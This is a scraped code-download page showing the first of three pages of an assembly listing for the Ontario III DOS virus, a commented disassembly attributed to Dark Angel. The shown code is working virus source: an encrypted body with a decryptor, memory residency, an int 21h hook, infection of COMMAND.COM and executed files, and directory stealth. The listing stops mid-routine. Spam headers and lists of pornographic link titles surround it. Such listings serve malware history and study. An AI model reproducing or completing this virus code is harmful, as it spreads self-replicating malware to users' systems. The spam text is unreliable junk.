亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ontario3.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 3 頁
字號:
                .model  tiny
                .code
; Ontario III
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with TASM /m ONTARIO3.ASM

; Virus written by Death Angel of YAM
                org     0

decrypt:
patch1:
                mov     di,offset endvirus      ; usually: offset enddecrypt
patch2          =       $ - 2
patch3          =       $
                mov     cx,37E5h
patch4          =       $ - 2
patch5:
                db      82h, 0C5h, 0D0h         ; add ch,0D0h
patch6          =       $ - 1
patch7:
                mov     al,0Ah
patch8          =       $ - 1

decrypt_loop:
                add     cs:[di],al
patch9          =       $ - 1
patch10:
                ror     al,cl
patch11         =       $ - 1
patch12:
                inc     di
patch13:
                loop    decrypt_loop
enddecrypt:

patch14:
                db      89h, 0FBh               ; mov bx,di
patch15         =       $ - 1

                sub     bx,offset save4
                xchg    ax,cx
                dec     ax
                cld
                call    saveorigvectors
                db      0e9h                    ; jmp
SYSpatch        dw      0                       ; currently jmp to next line
                int     21h                     ; installation check
                or      al,ah
                jz      restorefile
                push    ds
                mov     cx,bx
                mov     di,ds                   ; save current ds
                mov     ah,13h                  ; get BIOS int 13h handler
                int     2Fh                     ; to ds:dx and es:bx

                mov     si,ds                   ; does function function?
                cmp     si,di
                je      skipit
                push    ds
                push    dx
                mov     ah,13h                  ; restore handler
                int     2Fh


                mov     bx,cx                   ; but save its address too
                pop     word ptr cs:[bx+storeint13_1]
                pop     word ptr cs:[bx+storeint13_2]
skipit:
                xor     di,di
                mov     cx,es
                dec     cx
                mov     ds,cx                   ; get MCB of current program
                sub     word ptr [di+3],140h    ; decrease size by 5K
                mov     ax,[di+12h]             ; get high memory from PSP
                sub     ax,140h                 ; decrease size by 5K
                mov     [di+12h],ax             ; replace it
                mov     es,ax                   ; es->high memory segment
                sub     ax,1000h
                mov     word ptr cs:[bx+patchsegment],ax
                push    cs
                pop     ds
                mov     si,bx
                mov     cx,offset save4
                rep     movsb
                mov     ds,cx
                cli
                mov     word ptr ds:21h*4,offset int21 ; set int 21h handler
                mov     ds:21h*4+2,es           ; to virus's
                sti
                mov     ax,4BFFh                ; infect COMSPEC
                push    bx
                int     21h
                pop     bx
                pop     ds
                push    ds
                pop     es
restorefile:
                lea     si,[bx+offset save4]
                mov     di,100h
                cmp     bx,di
                jb      restoreEXE
                push    di
                movsw
                movsw
                retn
restoreEXE:
                mov     ax,es                   ; get start segment
                add     ax,10h                  ; adjust for PSP
                add     cs:[si+2],ax            ; relocate CS
                add     cs:[si+4],ax            ; relocate SS
                cli
                mov     sp,cs:[si+6]            ; restore stack
                mov     ss,cs:[si+4]
                sti
                jmp     dword ptr cs:[si]

int21instcheck:
                inc     ax
                iret

int21:
                cmp     ax,0FFFFh               ; installation check?
                je      int21instcheck
                cmp     ah,4Bh                  ; execute?
                je      execute
                cmp     ah,11h                  ; FCB find first?
                je      findfirstnext
                cmp     ah,12h                  ; FCB find next?
                je      findfirstnext
                cmp     ax,3D00h                ; open file read only?
                jne     int21exit
                call    handleopen
int21exit:
                db      0EAh                    ; jmp far ptr
oldint21        dd      0

findfirstnext:                                  ; standard stealth routine
                push    bp
                mov     bp,sp
                cmp     word ptr [bp+4],1234h
patchsegment    =       $ - 2
                pop     bp
                jb      int21exit
                call    callint21               ; do findfirst/next
                call    pushall
                mov     ah,2Fh                  ; Get DTA
                call    callint21
                cmp     byte ptr es:[bx],0FFh   ; extended FCB?
                je      findfirstnextnotextendedFCB
                sub     bx,7                    ; convert to standard
findfirstnextnotextendedFCB:
                mov     al,es:[bx+1Eh]          ; get seconds counter
                and     al,1Fh                  ; check if 62 seconds
                cmp     al,1Fh                  ; (infection marker)
                jne     findfirstnextexit       ; exit if not
                mov     dx,es:[bx+26h]          ; get file size
                mov     ax,es:[bx+24h]
                sub     ax,viruslength          ; decrease by virus
                sbb     dx,0                    ; size
                or      dx,dx
                jc      findfirstnextexit
                mov     es:[bx+26h],dx          ; replace file size
                mov     es:[bx+24h],ax          ; with "stealthed" one
findfirstnextexit:
                call    popall
                iret

execute:
                mov     byte ptr cs:infectSYS,0
                cmp     al,1                    ; load/don't execute
                je      load_noexecute
                cmp     al,0FFh                 ; called by virus
                je      infectCOMSPEC
                call    infectDSDX
                jmp     short int21exit

infectCOMMANDCOM:
                mov     byte ptr cs:infectSYS,0
                push    dx
                push    ds
                mov     dx,offset command_com
                push    cs
                pop     ds
                mov     byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
                call    infectDSDX
                pop     ds
                pop     dx
                iret

infectCOMSPEC:
                mov     ah,51h                  ; Get current PSP
                call    callint21
                mov     es,bx
                mov     ds,es:[2Ch]             ; environment block
                xor     si,si
                push    cs
                pop     es
infectCOMSPECfindcomspec:
                mov     di,offset comspec       ; is 'COMSPEC=' the first
                mov     cx,4                    ; entry in environment?
                repe    cmpsw                   ; (should be)
                jcxz    infectCOMSPECnoenvironment ; otherwise, quit
infectCOMSPECfindend:
                lodsb                           ; search for end of string
                or      al,al
                jnz     infectCOMSPECfindend
                cmp     byte ptr [si],0         ; found it?
                jne     infectCOMSPECfindcomspec; nope, try again
                jmp     short infectCOMMANDCOM  ; otherwise, infect
infectCOMSPECnoenvironment:
                mov     dx,si
                mov     byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
                call    infectDSDX              ; but are we really?  Maybe
                iret                            ; it's 4DOS.  This is a bug.
load_noexecute:
                push    es                      ; save parameter block
                push    bx
                call    callint21               ; prechain
                pop     bx
                pop     es
                call    pushall
                jnc     load_noexecute_ok       ; continue if no error
                jmp     load_noexecute_exit
load_noexecute_ok:
                xor     cx,cx
                lds     si,dword ptr es:[bx+12h]; get entry point on return
                push    ds
                push    si
                mov     di,100h
                cmp     si,di
                jl      loading_EXE
                ja      load_noexecute_quit
; debugger active
                lodsb
                cmp     al,0E9h                 ; check if infected
                jne     load_noexecute_quit
                lodsw
                push    ax                      ; save jmp location
                lodsb
                cmp     al,'O'                  ; check for infection marker
                pop     si                      ; get jmp location
                jnz     load_noexecute_quit
                add     si,103h                 ; convert to file offset
                inc     cx
                inc     cx
                pop     ax
                push    si
                push    ds
                pop     es
                jmp     short check_infection
loading_EXE:
                lea     di,[bx+0Eh]             ; check SS:SP on return
                cmp     word ptr es:[di],9FFh   ; infected?
                jne     load_noexecute_quit
check_infection:
                lodsb
                cmp     al,0BBh                 ; possibility 1
                je      infected_checked1
                cmp     al,0BEh                 ; possibility 2
                je      infected_checked1
                cmp     al,0BFh                 ; possibility 3
                jne     load_noexecute_quit
infected_checked1:
                lodsw                           ; get starting offset
                push    ax                      ; to decrypt
                lodsb                           ; get next byte
                cmp     al,0B9h                 ; check for infection
                lodsw
                pop     si                      ; offset to decrypt
                jnz     load_noexecute_quit
                cmp     ah,7                    ; check if infected
                je      infected_checked2
                cmp     al,0E5h                 ; ditto
                jne     load_noexecute_quit
infected_checked2:
                add     si,save4 - enddecrypt
                jcxz    disinfectEXE
                rep     movsw
                jmp     short finish_disinfection
disinfectEXE:
                mov     ah,51h                  ; Get current PSP
                call    callint21
                add     bx,10h                  ; go to file starting CS
                mov     ax,[si+6]
                dec     ax
                dec     ax
                stosw
                mov     ax,[si+4]
                add     ax,bx
                stosw
                movsw
                lodsw
                add     ax,bx
                stosw
finish_disinfection:
                pop     di
                pop     es
                xchg    ax,cx
                mov     cx,viruslength
                rep     stosb
                jmp     short load_noexecute_exit
load_noexecute_quit:
                pop     ax
                pop     ax
load_noexecute_exit:
                call    popall
                retf    2


handleopen:
                call    pushall
                mov     si,dx                   ; find extension of
handleopenscanloop:                             ; ASCIIZ string
                lodsb
                or      al,al                   ; found end of screen?
                jz      handleopenexit          ; yup, no extension -- exit
                cmp     al,'.'                  ; extension found?
                jne     handleopenscanloop
                mov     di,offset validextensions - 3
                push    cs
                pop     es
                mov     cx,4
                nop

scanvalidextension:
                push    cx
                push    si
                mov     cl,3
                add     di,cx
                push    di

check_extension:

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产成人啪免费观看软件| 一区二区高清免费观看影视大全| 欧美日韩免费高清一区色橹橹| 成人午夜电影网站| 成人av在线播放网站| 懂色av一区二区三区免费观看| 成人视屏免费看| 色综合一区二区三区| 91麻豆国产香蕉久久精品| 一本大道av伊人久久综合| 欧美三级视频在线播放| 91精品国产综合久久久蜜臀粉嫩| 欧美色视频一区| 日韩一二三区视频| 久久久国产一区二区三区四区小说| 久久久久久夜精品精品免费| 国产精品婷婷午夜在线观看| 最新久久zyz资源站| 亚洲一二三级电影| 麻豆精品在线播放| 风间由美一区二区av101| 色综合久久久久网| 69堂国产成人免费视频| 久久婷婷综合激情| 日韩一区有码在线| 日韩专区中文字幕一区二区| 国产成人综合在线| 在线观看视频91| 亚洲精品一区二区三区在线观看| 久久精品视频在线看| 夜夜精品视频一区二区| 奇米影视一区二区三区小说| 国产成人av资源| 欧美日韩视频不卡| 国产午夜精品一区二区| 亚洲大尺度视频在线观看| 久久99九九99精品| 在线观看一区二区精品视频| 久久色成人在线| 亚洲永久免费av| 国产福利电影一区二区三区| 欧美在线一二三四区| 日本一区二区三区电影| 天天综合网 天天综合色| 国产成人啪午夜精品网站男同| 欧美亚洲动漫精品| 国产精品免费久久| 九九国产精品视频| 欧美理论片在线| 中文字幕一区二区三区在线观看| 美女性感视频久久| 欧美日韩欧美一区二区| 亚洲天堂精品在线观看| 国产精品一区免费在线观看| 5858s免费视频成人| 亚洲精品视频一区| 成人精品高清在线| 国产片一区二区三区| 免费人成精品欧美精品| 欧美网站一区二区| 亚洲人成在线观看一区二区| 国产成人精品免费在线| 精品久久五月天| 秋霞电影一区二区| 7777精品伊人久久久大香线蕉经典版下载 | 久久亚洲精品小早川怜子| 亚洲一二三四久久| 色偷偷成人一区二区三区91| 国产精品免费久久| 不卡一区二区三区四区| 国产三级一区二区三区| 国产成人三级在线观看| 欧美激情一区二区三区蜜桃视频| 国产精品原创巨作av| 日韩一区二区三区电影在线观看 | 成人免费高清在线| 日本一区二区成人在线| 成人毛片视频在线观看| 中文字幕 久热精品 视频在线 | 日韩国产欧美三级| 欧美丰满少妇xxxbbb| 日韩中文字幕麻豆| 欧美一区二区在线免费观看| 日韩激情中文字幕| 日韩你懂的电影在线观看| 蜜桃一区二区三区四区| 精品久久久三级丝袜| 国产一区不卡视频| 国产精品久久毛片a| 91片在线免费观看| 亚洲成人精品一区| 日韩精品一区二区三区在线观看| 黑人巨大精品欧美一区| 亚洲国产精品成人综合| 91麻豆成人久久精品二区三区| 一区二区三区在线视频播放 | 精品亚洲成a人| 欧美国产亚洲另类动漫| 色婷婷亚洲婷婷| 日韩电影在线免费观看| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 99久久伊人久久99| 亚洲综合一二区| 欧美变态口味重另类| 国产sm精品调教视频网站| 亚洲三级电影网站| 在线不卡欧美精品一区二区三区| 国产一区二区三区四区在线观看 | 日本韩国精品一区二区在线观看| 午夜精品久久久久久久久久 | 51精品国自产在线| 高清国产一区二区三区| 亚洲综合在线免费观看| 欧美精品一区视频| 色噜噜久久综合| 精品一区二区三区不卡| 亚洲码国产岛国毛片在线| 欧美va在线播放| 色婷婷av一区二区三区软件 | 欧美日韩激情一区| 岛国一区二区三区| 麻豆国产欧美一区二区三区| 亚洲乱码中文字幕综合| 久久一留热品黄| 欧美日本一区二区在线观看| 成人免费视频国产在线观看| 日本不卡视频在线观看| 玉足女爽爽91| 国产精品不卡在线观看| 精品久久久久一区| 91精品婷婷国产综合久久竹菊| 99久久国产综合精品麻豆| 国产综合成人久久大片91| 午夜精品久久久| 一区二区三区精密机械公司| 国产精品女人毛片| 国产无人区一区二区三区| 日韩欧美色综合| 欧美一二三区精品| 欧美日韩不卡一区二区| 欧美亚一区二区| 91久久人澡人人添人人爽欧美| 不卡一区中文字幕| www.欧美日韩国产在线| 国产成人啪午夜精品网站男同| 久久精品国内一区二区三区| 日韩中文字幕一区二区三区| 亚洲成精国产精品女| 亚洲成a人片在线不卡一二三区| 亚洲人成网站色在线观看| 国产精品久久久久影院亚瑟| 国产精品全国免费观看高清| 国产欧美综合色| 欧美国产激情二区三区| 国产精品国产自产拍在线| 亚洲国产精品成人久久综合一区| 中文字幕av一区 二区| 国产精品美女久久久久久久久 | 亚洲蜜臀av乱码久久精品蜜桃| 成人免费在线视频观看| 亚洲欧美日韩国产中文在线| 一区二区在线免费观看| 亚洲综合精品久久| 午夜精品久久久久久久久久 | 国产日韩精品一区二区三区在线| 日韩免费视频一区| 久久你懂得1024| 中文字幕一区在线观看| 亚洲一区二区在线观看视频| 日韩电影网1区2区| 另类小说视频一区二区| 韩国欧美国产1区| 成人涩涩免费视频| 欧美午夜不卡在线观看免费| 欧美美女喷水视频| 欧美精品一区二区三区视频| 国产精品国产三级国产aⅴ无密码 国产精品国产三级国产aⅴ原创 | 91精品国产综合久久久久 | 国产综合色视频| 99精品热视频| 欧美一区二区三区色| 国产三级欧美三级日产三级99| 玉足女爽爽91| 国产在线精品一区二区夜色 | 免费在线观看一区| 国产寡妇亲子伦一区二区| 91福利视频网站| 精品国产亚洲一区二区三区在线观看| 中文字幕的久久| 天天色天天操综合| 国产激情一区二区三区四区 | 国产在线一区二区| 在线视频欧美区| 久久精品视频免费观看| 亚洲高清视频在线| 国产成人在线免费观看| 欧美老年两性高潮| 久久精品夜色噜噜亚洲a∨| 亚洲成av人片一区二区梦乃 | 亚洲你懂的在线视频|